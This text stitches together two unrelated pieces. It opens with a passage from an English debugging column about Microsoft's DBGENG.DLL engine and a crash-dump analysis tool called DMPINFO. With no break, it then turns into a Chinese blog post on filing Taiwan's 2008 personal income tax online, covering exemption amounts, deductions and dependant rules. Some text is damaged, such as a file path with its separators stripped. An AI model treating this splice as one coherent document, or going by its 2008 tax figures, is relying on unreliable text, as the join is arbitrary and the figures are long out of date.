returning values that have no relationship at all to the actual error! Once I got DUMPSTK limping along, it proved useful. It's small enough to get your head around but actually does something handy. Also, I recommend you spend some time reading the complete DBGENG.H header file. As you can see from the list in Figure 5, the information you might need to solve a problem with the debugging engine is scattered across multiple interfaces. When I first started looking at the debugging engine, I could see all sorts of very cool debugging and analysis utilities that I would like to write when my commercial programs crash at the customer's site. The good news is that DBGENG.DLL is part of the Windows XP and Windows Server 2003 operating systems. To use it legally on Windows 2000, your customers must download the complete WinDBG package and install it on their machines. The Crash Dump Information Dumper Now that I've covered the debugging engine's interfaces, I want to describe the DMPINFO program I wrote. I have always wanted a program that could tell me the important information from a user mode crash dump. When I open a user mode crash dump in Visual Studio .NET and WinDBG, I always do the same operations, so I wanted to automate them. DMPINFO is also a much more complete sample on how to use the debugging engine's interfaces. Using DMPINFO is trivial; just type DMPINFO in a command prompt followed by the user-mode crash dump file you want to dump. The DMPINFO outputs the system information from the user-mode crash dump, the loaded modules in the crash dump, the registers of the crashing thread, a disassembly for the crashing thread, and the call stack with all local variables. If you want to see all threads, pass -a on the command line. You can also pass in the specific source paths, symbols paths, and image paths. When looking at the DMPINFO output, you might notice that module symbol types are Document Interchange Architecture (DIA) even though you have PDB files. DBGENG.H defines the DIA symbol type and DIA appears to be the new symbol format for Visual Studio .NET. However, all PDB symbols are reported as DIA. I wrote DMPINFO with release 4.00.0018.0 of DBGENG.DLL. There are two bugs in DBGENG.DLL that you might see from DMPINFO. The system information values don't look right and occasionally the locals are not displayed for a stack scope. If you are running a debug build of DMPINFO, you will see an assertion message box. For some reason, DBGENG.DLL stops calling the IDebugOutputCallbacks interface so DMPINFO can't display locals. I'll discuss this problem in more detail later. It actually took me quite a while to write DMPINFO because I had to spend so much time in trial and error development. The documentation is not bad in DBGENG.H; it's just not complete. Consequently, I had to try passing different parameters in all the time to get the results I wanted. You will see more assertions in DMPINFO.CPP than in any program you have ever seen because I needed to know instantly when something failed. The first issue I ran into was that the debugging engine spews quite a bit of output, which gets in the way. I set up my own interface, IBetterDebugOutputCallbacks, derived from IDebugOutputCallbacks, so that I could filter out the debugging engine output that I didn't want to see. You can see the work in OUTPUT.H and OUTPUT.CPP available from my downloadable source sample. Fortunately, the output all seems to occur when you load a crash dump, so I could just turn off output until I was finished getting everything loaded. Use the -v command line switch on DMPINFO's command line in order to see all output. The next issue I ran into was that there does not seem to be a way to determine if loaded symbols are programmatically mismatched with the binary. The debugging engine will output the mismatch when you load the crash dump so that engine knows about the mismatch. I hope that Microsoft will add a method to IDebugSymbols or a new field to the DEBUG_MODULE_PARAMETERS structure so you can find the mismatches. My goal for DMPINFO was to show how to do all the work without using some of the easy methods of some of the interfaces. That way you would have a stronger sample and would have an idea how to apply the techniques yourself. When it came time for me to do the disassembly part of DMPINFO, I have to admit I wimped out. It's impossible to disassemble backwards in IA32 assembly language because the instructions are variable length, so I was not looking forward to grinding through an algorithm to get everything lined up so I could show 15 instructions before the instruction pointer. The output from IDebugControl->OutputDisassemblyLines wasn't what I wanted because I couldn't stick in a little pointer prefix, which indicated the instruction pointer. The output is just a blob of text. OutputDisassemblyLines will do all the work to find the instruction starts in the disassembly and return them as an array. When I saw that OutputDisassemblyLines would do the work for me, I punted! I turned off output, called OutputDisassemblyLines so I could get the offsets of all the instructions starts, then called IDebugControl->Disassemble so I could format the lines as I wanted. I spent what seemed like forever wrestling with the final part of DMPINFO: getting the local symbols. The first problem was that I could not figure out how to get the local symbols loaded after I set the scope. After calling IDebugSymbols->SetScope, I could see that I needed to call IDebugSymbols->GetScopeSymbolGroup. When I called IDebugSymbolGroup->GetNumberSymbols, I always got back that there were zero symbols. After nearly giving up, I finally asked Microsoft how to get local symbols. You have to pass the "*" string to IDebugSymbolGroup->AddSymbols to get the locals loaded into the IDebugSymbolsGroup. You can take a look at all of this in action in the OutputScopeSymbols function in DMPINFO.CPP. Once I got the locals loaded, I thought I was on my way. That's when I ran into the biggest problem of the current IDebugSymbolGroup interface: there's no way to enumerate local symbols values! You can call IDebugSymbolGroup->GetSymbolName to get the name of a symbol index. What's missing are two methods, GetSymbolType and GetSymbolValue. You can get the type in a roundabout way by calling IDebugSymbolGroup->GetSymbolParameters to get the DEBUG_SYMBOL_PARAMETERS structure for a symbol. In there is a TypeId field which you can call IDebugSymbols->GetTypeName (notice it's a different interface). That's two thirds of the information, but it doesn't have the all-important value. I called IDebugSymbolGroup->OutputSymbols and that did output all the symbol information, but in this very strange format: <name>**NAME**<value>**VALUE**<offset>**OFF**<type>**TYPE** The debugging engine outputs all symbols in this format packed end-to-end in a giant string. I especially liked the fact that a common value "*" (think pointer) was used as a delimiter. Since there is no other way to get values, I had to trap the string and parse it up to show them. I certainly hope that future releases of the debugging engine will fix this oversight. Wrap Up Getting a Symbol Server set up is so important I urge you to stop reading right now and get one set up for your organization! It will make your debugging life so much easier. Also, armed with the new crash dump handling in Visual Studio .NET and WinDBG, getting rid of bugs should be even easier. Finally, I hope I was able to help you get over some of the same hurdles I ran into when I started with DBGENG.DLL. While it might have a few quirks, it's still a work in progress and will only get better with time. I encourage you to think about the possibilities and start creating some of those debugging tools you've always wanted! Da Tips! The sweet smell of flowers in the spring should help you think of even more tips. Send your tips to me at john@wintellect.com. Tip 53 If you have any really tough debugging problems, the new WinDBG documentation has a couple of excellent discussions in the Debugging Techniques section. Tip 54 John Maver reports a cool trick with the Visual Studio .NET debugger. If you have a line like this HeapFree ( GetProcessHeap ( ) , 0 , lpdwPIDs ) ; and if you want to step into HeapFree, but not GetProcessHeap, put your cursor on HeapFree, right-click, and choose Step Into HeapFree. The text changes based on where you place your cursor. I like this one so much I assigned the shortcut Ctrl-Alt-F11 to it. Send questions and comments for John to slayer@microsoft.com. John Robbins is a cofounder of Wintellect, a software consulting, education, and development firm that specializes in programming in .NET and Windows. He is the author of Debugging Applications (Microsoft Press, 2000) and the upcoming Debugging .NET and Win32 Applications also from Microsoft Press. You can contact John at http://www.wintellect.com.

[稅務] 網路報稅軟體下載與個人綜合所得稅申報解說
http://payoversea.com/money/

一 . 網路報稅軟體下載:

每年五月份是報稅的月份....
申報期間通常自5/1～5/31，記得不要逾期了喔！
今年是 97/05/01 ~ 97/06/02


△ 申報方式：網路申報、填表郵寄申報、親臨櫃檯。


△ 網路申報分兩種：(適合有電腦且可上網者)
1. GCA申報 (有GCA還可直接網路下載所得資料，但申請GCA時稍微麻煩一點)
2. 身分證+戶口名簿戶號

財政部電子申報軟體網路下載處：
http://tax.nat.gov.tw/irc/irc_download.html

這邊有網路安裝版和下載安裝版本兩種...

PS.
假如網路報稅軟體安裝後會有亂碼的話,
請依照習慣自行判斷下一步一直安裝下去就對了!

安裝完畢後, 請自行到此目錄, 找出該檔案,複製到桌面當捷徑就可以了.
C:Program FileseTaxIRXBinIrcWin.exe


△ 網路申報軟體的登入方式:
1. 自然人IC卡憑證
2. 金融憑證 (網路銀行憑證,網路下單憑證,網路保險憑證.)
3. 身份證字號 + 戶口名簿戶號

(以1,2種方式申報者,可以直接從網路上接收去年大部分的個人稅收資料,省去輸入的麻煩!)


△ 財政部審查通過的金融憑證:

金融憑證網路報稅聯合服務網站 公告為準: http://itax.twca.com.tw/index.asp

(1) 新光金控、兆豐商銀、土地銀行、合作金庫銀行、彰化銀行、第一商銀
(2) 元大京華證券、日盛證券、元富證券、統一綜合證券、群益證券、富邦綜合證券、
玉山綜合證券、台証綜合證券、永豐金證券、兆豐證券、亞東證券、國票綜合證券
(3) 南山人壽


△ 繳稅繳款方式：
信用卡、現金、支票、ATM自動櫃員機轉帳、填寫繳稅取款委託書。

△ 退稅退款方式：
金融機構轉帳退稅、一般退稅憑單退稅。



二 . 個人所得稅申報相關規定:

△ 已婚家庭的申報選擇：夫妻分開申報、以夫為主、以妻為主的納稅申報。今年各項申報方式與往年並無太大的異動。

△ 不用報稅的情況：
不用報稅的情形請參閱下方附表所列,只適合不需退稅的情況，
(可退稅時, 若不申報則無法退稅...)


△ 個人免稅額：77,000元 （年滿70歲：115,500元）


△ 一般扣除額：(標準與列舉二擇一)
a. 標準：46,000元 (夫妻合併申報：92,000元)
b. 列舉：捐贈、保險費、醫藥&生育費、災害損失、自用購屋貸款利息、房租。


△ 特別扣除額：
1.薪資所得：每人最高 78,000元
2.財產交易損失：以實際財產交易所得為上限
3.儲蓄投資：最高 270,000元
4.殘障：77,000元
5.高等教育學費：最高 25,000元

---------------

三 . 補充資料:
註明: 以下資料轉載自96年度綜合所得稅電子結算繳稅系統的說明檔案!

綜合所得稅網際網路結算申報說明

近年來由於個人電腦的普及化，使得在網路上漫遊成為人與人之間必備的資訊(知識)和便利，利用網際網路報稅也成為民眾報稅的管道之一，每年民眾到了申報期間，最受困擾之問題大概如下：


什麼人應該辦理綜合所得稅結算申報？

凡是個人全年綜合所得總額（包括本人、配偶及受扶養親屬之所得）不超過免稅額及標準扣除額之合計數（如下表）者 ，除有下列1、2的情形仍應辦理申報外，得免辦結算申報。所得總額中有薪資所得者，可再減除薪資所得特別扣除額；年滿70歲之納稅義務人本人、配偶及受扶養直系 尊親屬者，可再減除其個人免稅額38,500元。
1、有扣繳稅款或可扣抵稅額依法可申請退稅者，應辦理申報才能退稅。
2、依所得基本稅額條例規定應辦理個人所得基本稅額申報者，應填寫「個人所得基本稅額申報表」併同一般申報書辦理申報。
受扶養親屬人數 0人 1人 2人 3人 4人 5人
免辦結算
申報標準 無配偶 123,000元 200,000元 277,000元 354,000元 431,000元 508,000元
有配偶 246,000元 323,000元 400,000元 477,000元 554,000元 631,000元

執行業務者的所得核定較為複雜，如未辦理結算申報，經依照財政部頒布收入及費用標準核定其有執行業務所得，除補稅外，應依所得稅法第一百十條規定處罰，為保障您的合法權益，務請辦理結算申報。
什麼時間辦理申報？

從97年5月1日起至97年6月2日止（法定結算申報截止日5月31日適逢星期假日，展延至6月2日），都可申報，請儘早辦理，以免最後幾天的排隊擁擠。

向什麼地方辦理申報？

可就近至任一國稅局辦理；或利用郵寄以掛號逕寄戶籍所在地國稅局；或透過網際網路（http://tax.nat.gov.tw）辦理，但逾期申報者，僅得向戶籍所在地國稅局辦理。透過網際網路辦理申報有應檢附的其他證明文件、單據者，應於97年6月12日前逕送（寄）戶籍所在地國稅局或就近至任一國稅局所屬分局、稽徵所或服務處代收。



扶養親屬

扶養親屬資料維護。
什麼是免稅額？

年滿70歲 [民國26年（含該年）以前出生] 的本人、配偶及申報受扶養直系尊親屬，每人免稅額115,500元，其餘申報受扶養親屬及未滿70歲的本人、配偶，每人免稅額77,000元。民國96年結婚或離婚者，可選擇合併或分別申報；若屬分居狀態，無法合併申報者，仍應於申報書上填寫配偶的姓名及國民身分證統一編號，並註明”已分居”字樣。

　

什麼是受扶養親屬？

納稅義務人本人及配偶申報扶養的親屬，必須合於下列規定條件之一：

直系尊親屬年滿60歲者，或雖未滿60歲但沒有謀生能力，受納稅義務人扶養者（須檢附無謀生能力適當證明文件）。兄弟姊妹二人以上共同扶養直系尊親屬，應由兄弟姊妹間協議推定其中一人申報扶養 ，請勿重複申報。
子女未滿20歲者〔民國77年（含該年）以後出生者；縱有所得，亦不得單獨申報，但已婚者除外〕，或年滿20歲因在校就學、身心殘障、或無謀生能力，受納稅義務人扶養者（須附在學證明或醫師證明等）。76年出生者可選擇單獨申報或與扶養人合併申報。同胞兄弟姊妹未滿20歲者，或年滿20歲因在校就學、身心殘障、或無謀生能力，受納稅義務人扶養者（須檢附在學證明或醫師證明等）。
納稅義務人其他親屬或家屬（如伯、姪、孫、甥、舅等），合於民法第1114條第4款（家長家屬相互間）及第1123條第3項（雖非親屬而以永久共同生活為目的同居一家者，視為家屬）規定，未滿20歲或滿60歲以上無謀生能力（須另檢附醫師證明或其他適當證明文件），確係受納稅義務人扶養者。但受扶養者的父或母如屬現役軍人或托兒所、幼稚園、公私立國民中小學的教職員，不得列報減除（須另檢附受扶養者的父母親非屬前述免稅者的適當證明文件，註(1)）。申報扶養其他親屬或家屬時，須檢附下列證明文件，供稽徵機關審查：
(1)納稅義務人與以永久共同生活為目的同居一家的其他親屬或家屬，同一戶籍者：戶口名簿影本或身分證影本或其他適當證明文件。
(2)納稅義務人與以永久共同生活為目的同居一家的其他親屬或家屬，非同一戶籍者：受扶養者或其監護人註明確受納稅義務人扶養的切結書或其他適當證明文件。

註：

可檢附受扶養者父母服務機關掣發的在職證明或薪資所得的扣繳憑單或投保單位開立的全民健康保險的繳費收據或其他適當證明文件。
在學證明可利用當年度的繳費收據、學生證正反面影本、畢業證書影本或在學證明書，國外留學或就讀軍事學校可比照辦理。
納稅義務人的配偶或扶養親屬為無國民身分證的華僑或外國人者，其國民身分證統一編號欄請依居留證的統一證號欄項資料填註，若居留證無統一證號欄項或未領有居留證者，請填註西元出生年月日加英文姓名第1個字前兩個字母。（ 例：姓名Carol Lee，西元1978年10月24日出生，應填寫為：19781024CA）申報時應檢附足資證明親屬關係及確有扶養事實的文件，供稽徵機關核認。


所得資料

所得資料維護。
如何計算綜合所得淨額？

綜合所得總額減除免稅額及扣除額後之餘額即為綜合所得淨額。

什麼是綜合所得總額？
就是本人、配偶及申報受扶養親屬取得下列各類所得的合計：營利所得、執行業務所得、薪資所得、利息所得、租賃所得及權利金所得、自力耕作漁牧林礦所得、財產交易所得、競技競賽及機會中獎的獎金或給與、退職所得、其他所得等。

什麼是營利所得？
包括：

公司或合作社分配屬86年度或以前年度的股利或盈餘。（請依扣（免）繳憑單填寫）
公司或合作社分配屬87年度或以後年度股利總額或盈餘總額。（請依股利憑單填寫）
合夥事業的合夥人每年度應分配的盈餘總額或獨資資本主每年自獨資經營事業所得的盈餘總額。（請依營利事業投資人明細及分配盈餘表填寫，並檢附該已申報收件的營利事業投資人明細及分配盈餘表及已繳納營利事業所得稅稅款相關證明文件）
個人一時貿易的盈餘。
合於盈餘轉增資緩課規定（88年12月31日修正前促進產業升級條例第16條、第17條後段及獎勵投資條例第13條）的新發行記名股票於轉讓、贈與或作為遺產分配時的面額部分（或面額加計所含可扣抵稅額合計數），但實際轉讓價格低於面額時為轉讓價格（或轉讓價格加計所含可扣抵稅額合計數）。（請依緩課股票轉讓所得申報憑單填寫）
※股利所得中含有借入有價證券所分配的股利者：借券人於跨越除權除息基準日仍持有借入有價證券，其所領取股利如嗣後已返還出借人，該部分股利免計入借券人的綜合所得總額，所含可扣抵稅額亦不得抵繳借券人的應納稅額。 借券人申報減除該部分股利時，請依有價證券借貸交易權益補償轉開專用憑單填寫。

什麼是執行業務所得？
律師、會計師、建築師、技師、醫師、藥師、助產士、著作人、經紀人、代書人、工匠和表演人及其他以技藝自力營生者的業務收入或演技收入，減去必要費用或成本後的餘額（請檢附收入明細表及損益表供稽徵機關審查。執行業務者如未依法辦理結算申報，或未依法設帳記載並保存憑證，或未能提供證明所得額的帳簿文據者，稽徵機關得依查得資料或財政部頒訂標準核定其所得額）。
個人取得稿費、版稅、樂譜、作曲、編劇、漫畫及講演的鐘點費收入，全年合計不超過18萬元者，得全數扣除，但超過限額者，就超過部分減除成本及必要費用後，以其餘額申報為執行業務所得。
什麼是薪資所得？
就是在職務上或工作上所取得的各種收入，包括薪金、俸給、工資、津貼、歲費、獎金、紅利、各種補助費和其他給與（如車馬費等）。

什麼是利息所得？
是指公債（包括各級政府所發行的債券、庫券、證券及憑券）、公司債、金融債券、各種短期票券、金融機構的存款（含公教軍警人員退休金優惠存款）及其他貸出款項所取得的利息，以及有儲蓄性質到期可還本的有獎儲蓄券中獎的獎金。個人持有公債、公司債、金融債券的利息所得，短期票券到期兌償金額超過首次發售價格部分的利息所得，及依金融資產證券化條例或不動產證券化條例規定分離課稅的受益證券或資產基礎證券分配的利息所得，不併計綜合所得總額，亦即免予填報，已扣繳的稅款，亦不得抵繳應納稅額或申報退稅。

什麼是租賃所得和權利金所得？
租賃所得
租賃所得是指下列收入，減去合理而必要的損耗和費用後的餘額：
財產出租的租金收入。
財產出典的典價經運用而產生的收入。
因設定定期的永佃權和地上權而取得的各種收入。
財產出租所收的押金或類似押金的款項，或財產出典而取得的典價，按照年息2.175％的利率計算租賃收入。
必要損耗及費用（如申報書附表一的折舊、修理費、地價稅、房屋稅、以出租財產為保險標的物所投保的保險費、向金融機構借款購屋而出租的利息等）可逐項舉證申報；如不逐項舉證申報，本年度規定的必要費用標準，為租金收入的43%，但出租土地的收入僅得扣除該地當年度繳納的地價稅，不得扣除43%必要的損耗和費用。
將財產無償借與他人供營業或執行業務者使用，應按照當地一般租金情況，計算租賃收入。
將財產無償借與本人、配偶及直系親屬以外的個人，且非供營業或執行業務者使用者，除能提出無償借用契約（須經雙方當事人以外的2人證明確係無償借用，並依公證法辦竣公證）供核外，應按照當地一般租金情況，計算租賃收入。
財產出租申報的租金顯較當地一般租金為低，稽徵機關得參照當地一般租金調整計算租賃收入。
申報租賃所得時所須填寫的房屋稅籍編號，請參見該屋的房屋稅繳款書「稅籍編號」抄填，如A01237654321。
權利金所得是指：
以專利權、商標權、著作權、秘密方法和各種特許權利，供他人使用而取得的權利金收入，減去合理而必要損耗及費用（應舉證）後的餘額。

什麼是自力耕作、漁、牧、林、礦所得？
就是以自已的勞力從事農業耕作、漁撈、畜牧、造林、採礦等所得到的各種收入，減去必要費用後的餘額。

什麼是財產交易所得？
是指財產及權利因買賣或交換而取得的所得，包括：

(1)出價取得的財產和權利：以交易時的成交價額，減去原來取得時的成本和一切改良費用後的餘額。
(2)繼承或贈與取得的財產和權利：以交易時的成交價額減去繼承時或受贈與時該項財產或權利的時價，和繼承後或受贈與後的一切改良費用後的餘額。


但出售土地、家庭日常使用的衣物、傢俱的交易所得，依法免稅。出售或交換房屋所得歸屬年度，以所有權移轉登記完成日期的年度為準；拍賣房屋以買受人領得執行法院所發給權利移轉證書日期所屬年度為準。

註：個人出售房地，其原始取得成本及出售價格的金額，如檢附私契及價款收付紀錄、法院拍賣拍定通知書或其他證明文件，經稽徵機關查核明確，惟因未劃分或僅劃分買進或賣出房地的各別價格者，應以房地買進總額及賣出總額的差價，按出售時的房屋評定現值占土地公告現值及房屋評定現值的比例計算房屋的財產交易所得。

什麼是競技競賽及機會中獎之獎金或給與？
就是參加各種競技比賽或各種機會中獎的獎金或給與，所支付的必要費用或成本准予減除。政府舉辦的獎券中獎獎金，如統一發票、公益彩券中獎獎金（粉紅色扣免繳憑單），僅須扣繳稅款，不併計綜合所得總額，亦即免予填報，已扣繳的稅款，亦不得抵繳應納稅額或申報退稅。

什麼是退職所得？
就是個人領取的退休金、資遣費、退職金、離職金、終身俸及非屬保險給付的養老金等所得，不包括領取歷年自薪資所得中自行繳付儲金的部分及其孳息。

什麼是其他所得？
上開第(二)至第(十)以外的所得，以其收入減去因取得此項收入而支付成本及必要費用（須檢附單據或證明文件）的餘額為所得額。但職工福利委員會發給的福利金，無成本及必要費用可供減除。

什麼是變動所得？
自力經營林業之所得（屬自力耕作所得），受僱從事遠洋漁業，於每次出海後一次分配（非按月支領者）之報酬（屬薪資所得）及 耕地因出租人收回耕地或政府徵收而依平均地權條例第77條或第11條規定取得之地價補償（屬其他所得）。
個人非因執行職務而死亡，其遺族依法令或規定一次領取的撫卹金或死亡補償與退職所得合併計算後，超過定額免稅的部分（屬其他所得）。
以上各項變動所得，得僅以所得之半數填入各類所得總額欄，計算當年度所得。
請依您的所得逐筆申報



扣除額

扣除額維護。
什麼是扣除額？

扣除額包括一般扣除額及特別扣除額。

一般扣除額：分標準扣除額及列舉扣除額二種，需擇一填報減除，二者不得併用。經選定填明適用標準扣除額者，或因未填列列舉扣除額亦未填明適用標準扣除額，經依規定視為已選定適用標準扣除額者，以及未辦理結算申報者，經稽徵機關核定後，不得要求變更適用列舉扣除額。
標準扣除額：單身者扣除46,000元，夫妻合併申報者，扣除92,000元。
列舉扣除額：請參閱列舉扣除額。
特別扣除額：
薪資所得特別扣除額：納稅義務人及與其合併申報的個人有薪資所得者，每人可扣除78,000元，全年薪資所得未達78,000元者，僅得就其全年薪資所得總額全數扣除。
財產交易損失扣除額：本人、配偶及申報受扶養親屬的財產交易損失（須檢附有關證明損失的文據），每年度扣除額，以不超過當年度申報的財產交易所得為限。當年度無財產交易所得可資扣除或扣除不足者，得以以後3年度的財產交易所得扣除。財產交易損失的計算，參照：所得資料(8)財產交易所得的計算。
儲蓄投資特別扣除額：本人及與其合併報繳的配偶暨受扶養親屬於金融機構的存款利息、儲蓄性質信託資金的收益(扣繳憑單格式代號為5A者)及87年12月31日以前取得公開發行並上市的緩課記名股票，於轉讓、贈與或作為遺產分配、放棄適用緩課規定或送存集保公司時的營利所得(緩課股票轉讓所得申報憑單格式代號為71M者)，合計全年不超過27萬元者，得全數扣除，超過27萬元者，以27萬元為限。但依郵政儲金匯兌法規定免稅的存簿儲金利息、依所得稅法規定分離課稅的公債、公司債、金融債券、短期票券利息及依金融資產證券化條例或不動產證券化條例規定分離課稅的受益證券或資產基礎證券利息不包括在內。
殘障特別扣除額：本人、配偶及申報受扶養親屬為殘障者（須檢附殘障手冊或身心障礙手冊影本），或精神衛生法第5條第2項規定的病人（須檢附專科醫生的嚴重病人診斷證明書影本，不得以重大傷病卡代替），每人可減除77,000元。
教育學費特別扣除額：納稅義務人申報扶養的子女就讀學歷經教育部認可大專以上院校的子女教育學費（須檢附繳費收據影本或證明文件）每一申報戶每年可扣除25,000元，不足25,000元者，以實際發生數為限，已接受政府補助或領有獎學金者，應以扣除該補助或獎學金的餘額在上述規定限額內列報。但就讀空大、空中專校及五專前3年者不適用本項扣除額。



列舉扣除

列舉扣除資料維護。
什麼是列舉扣除額?

下述各種費用有確實的證明或收據，且不超過法定限額部分，可申報減除。

捐贈：
對合於民法總則公益社團及財團的法人組織或依其他關係法令，經向主管機關登記或立案成立的教育、文化、公益慈善機構或團體的捐贈，及依法成立、捐贈或加入符合規定的公益信託之財產，以不超過綜合所得總額20％為限。但有關國防勞軍的捐贈、對政府的捐獻，及依文化資產保存法規定出資贊助維護或修復古蹟、古蹟保存區內建築物及歷史建築的贊助款，不受金額限制。須附收據正本供核。以購入的土地或符合殯葬管理條例設置的骨灰（骸）存放設施捐贈者，應檢附A.受贈機關、機構或團體開具領受捐贈的證明文件B.購入該捐贈土地或骨灰（骸）存放設施的買賣契約書及付款證明，或其他足資證明文件。自94年7月8日起以未上市（櫃）公司股票捐贈者，應取具受贈單位載有於96年度股票出售價金的收據或證明文件。


保險費：
本人、配偶及申報受扶養直系親屬的人身保險（包括人壽保險、健康保險、傷害保險及年金保險）的保險費（含勞保、就業保險、軍公教保險、農保、學生平安保險），被保險人與要保人應在同一申報戶內，每人每年扣除24,000元，實際發生的保險費未達24,000元者，就其實際發生額全數扣除。但本人、配偶及申報受扶養直系親屬的全民健康保險之保險費，由納稅義務人本人、合併申報的配偶或受扶養親屬繳納者，得不受金額限制，全數扣除。須檢附收據正本或保險費繳納證明書正本，由機關或事業單位彙繳的員工保險費（由員工負擔部分），應檢附服務單位填發的證明。


醫藥及生育費：
本人、配偶及申報受扶養親屬的醫藥和生育費用，以付與公立醫院、公務人員保險特約醫院、勞工保險特約醫療院、所、全民健康保險特約醫院及診所或經財政部認定其會計紀錄完備正確的醫院者為限，受有保險給付部分，不得扣除。須檢附填具擡頭的單據正本，單據已繳交服務機關申請補助者，須檢附經服務機關證明的該項收據影本。


災害損失：
本人、配偶及申報受扶養親屬遭受不可抗力的災害，如地震、風災、水災、旱災、火災等損失，受有保險賠償或救濟金部分，不得扣除。須檢附稽徵機關（國稅局所屬分局、稽徵所及服務處）於災害發生後調查核發的災害損失證明。


自用住宅購屋借款利息：
納稅義務人購買自用住宅向金融機構辦理借款的利息支出 (ZK)，應符合下列各要件：
房屋登記為本人、配偶或受扶養親屬所有。
本人、配偶或受扶養親屬於96年度在該地址辦竣戶籍登記（以戶口名簿影本為證），且無出租、供營業或執行業務者使用。
取具96年度支付該借款的利息單據正本。
如屬配偶所有的自用住宅，其由納稅義務人向金融機構借款所支付的利息，以納稅義務人及配偶為同一申報戶，始可列報。
二個門牌的房屋打通者，僅能選擇其中一屋列報。
購屋借款利息的扣除，每一申報戶以一屋為限，並以當年實際支付的該項利息支出減去儲蓄投資特別扣除額（ZD）後的餘額，申報扣除，每年扣除額不得超過30萬元，即0≦ZK－ZD≦300,000元。
利息單據上如未載明該房屋的坐落地址、所有權人、房屋所有權取得日、借款人姓名或借款用途，應由納稅義務人自行補註及簽章，並提示建物權狀及戶籍資料影本。
以「修繕貸款」或「消費性貸款」名義借款者不得列報扣除，惟如確係用於購置自用住宅並能提示相關證明文件如所有權狀、建築物登記簿謄本等，仍可列報。如因貸款銀行變動或換約者，僅得就原始購屋貸款未償還額度內支付的利息列報，應提示轉貸的相關證明文件，如原始貸款餘額證明書、清償證明書或建築物登記謄本手抄本及建物異動清單或建物索引（須含轉貸或換約前後資料）等影本供核。
　

房屋租金支出：
本人、配偶及申報受扶養直系親屬在中華民國境內租屋供自住且非供營業或執行業務使用，所支付的租金，每一申報戶每年扣除數額以12萬元為限。但申報有購屋借款利息者，不得扣除。並應檢附：A.承租房屋的租賃契約書及支付租金的付款證明影本（如：出租人簽收的收據、自動櫃員機轉帳交易明細表或匯款證明）。B.本人、配偶或申報受扶養直系親屬於課稅年度於承租地址辦竣戶籍登記的證明，或納稅義務人載明承租的房屋於課稅年度內係供自住且非供營業或執行業務使用的切結書。
　

依政治獻金法規定之捐贈：
依政治獻金法規定，個人對同一擬參選人每年捐贈總額不得超過10萬元，且每一申報戶每年對各政黨、政治團體及擬參選人捐贈的扣除總額，不得超過各該申報戶當年度申報的綜合所得總額20％，其金額並不得超過20萬元。但對於未依法登記為候選人或登記後其候選人資格經撤銷者的捐贈或收據格式不符者，不予認定。
對政黨的捐贈，政黨推薦的候選人於93年度立法委員選舉平均得票率未達2％者（96年度因未辦理立法委員選舉，故以上次（93年度）選舉的得票率為準，其中得票率達2％者為中國國民黨、民主進步黨、親民黨、臺灣團結聯盟及無黨團結聯盟）或收據格式不符者，不予認定。


公職人員選舉罷免法規定之競選經費：
候選人自選舉公告日起至投票日後30日內，所支付與競選活動有關的競選經費，於規定最高限額內減除接受捐贈後的餘額，可列報扣除。應檢附文件：A.開立政治獻金專戶收受政治獻金者，應檢附向監察院申報的會計報告書影本及經監察院審核完竣的擬參選人政治獻金收支結算表。B.未開立政治獻金專戶收受政治獻金者，應依政治獻金法第18條第3項第2款規定項目將競選經費分別列示，並檢附競選經費支出憑據或證明文件。（第7屆立法委員候選人的競選經費支出，應依96年11月7日修正公布公職人員選舉罷免法第42條規定，於98年申報97年度（即投票日年度）的綜合所得稅時列舉扣除）


私立學校法第51條規定的捐贈：
個人透過財團法人私立學校興學基金會，對私立學校的捐款，金額不得超過綜合所得總額50％，須檢附收據正本以供查核。
以上這些實際支付或損失數額，叫做「實際發生的金額」，但並不一定全部可以扣除，例如沒有確實的證明或收據者，或即使證明、收據齊全，而超過一定比例的超限部分，均不可以扣除，經減去這些不可以扣除的數額後，就是「依法可以扣除的金額」。



投資抵減稅額

投資抵減稅額維護。
什麼是投資抵減稅額？（須檢附投資抵減稅額證明書或餘額表）

個人依88年12月31日修正前促進產業升級條例第8條及獎勵民間參與交通建設條例第33條規定，原始認股或應募政府指定的重要科技事業、重要投資事業、創業投資事業或參與交通建設民間機構因創立或擴充而發行的記名股票，持有時間達2年以上者，得以其取得該股票價款20％限度內，抵減當年應納綜合所得稅額(AF)。當年度不足抵減時，得在以後4年度內抵減；其投資於創業投資事業的抵減金額，以不超過該事業實際投資科技事業金額占該事業實收資本額比例的金額為限。


個人依88年12月31日修正後促進產業升級條例第8條規定，原始認股或應募屬新興重要策略性產業發行的記名股票，持有時間達3年以上者，得以取得該股票價款依規定抵減率計算限度內，抵減自當年度起5年內應納綜合所得稅額(AF)。


上述每一年度抵減總額，不得超過當年度應納綜合所得稅額(AF)50％，但最後年度不在此限。



重購自用住宅

重購自用住宅維護。
什麼是重購自用住宅之扣抵稅額?

納稅義務人出售自用住宅房屋所繳納該財產交易所得部分的所得稅額，自完成移轉登記日起2年內，如重購自用住宅房屋其價額超過原出售價額者，得於重購自用住宅房屋完成移轉登記的年度，自其應納所得稅額中扣抵或退還，但原財產交易所得已自財產交易損失中扣抵部分不在此限。此項規定於先購後售者亦適用。
自用住宅房屋指所有權人或配偶、申報受扶養直系親屬於該地址辦竣戶籍登記，且於出售前一年度內無出租或供營業用的房屋，須檢附出售及重購年度的戶口名簿影本。
應檢附重購及出售自用住宅房屋的買賣契約(可附向地政機關辦理移轉登記蓋有收件章之契約文件影本代替)及所有權狀影本，用以證明重購的價格高於出售的價格，及產權登記的時間相距在兩年以內。併同申請扣抵或退還年度之綜合所得稅結算申報書，向戶籍所在地稽徵機關(國稅局所屬分局、稽徵所)辦理。
可申請扣抵或退還之綜合所得稅額，係指出售該年度(以所有權完成移轉登記日所屬年度為準)綜合所得稅確定時，因增列該財產交易所得後所增加之綜合所得稅額。
申請扣抵或退還年度，先售後購者，為重購之所有權移轉登記年度；先購後售者，為出售之所有權移轉登記年度。


大陸地區所得稅扣抵

大陸地區所得稅扣抵
大陸地區來源所得可扣抵稅額及免稅額、扣除額之申報注意事項：

申報者若有有大陸地區來源所得，應將所得發生處所名稱，併同台灣地區來源所得，登打輸入於所得資料頁中，再於本頁(A)項輸入大陸地區來源所得總額，然後於(C)項中 ，輸入不含大陸地區來源所得之應納稅額，經系統計算可得(D)項大陸地區來源所得之應納稅額；並於(E)項輸入大陸地區已繳納所得稅額，最後系統計算得(F)項可扣抵稅額。請注意！若無大陸地區所得，此頁資料不必輸入。相關法規說明如下：
　

有大陸地區來源所得，應將所得發生處所名稱、地址及所得額詳細填列，併同臺灣地區來源所得課徵所得稅。
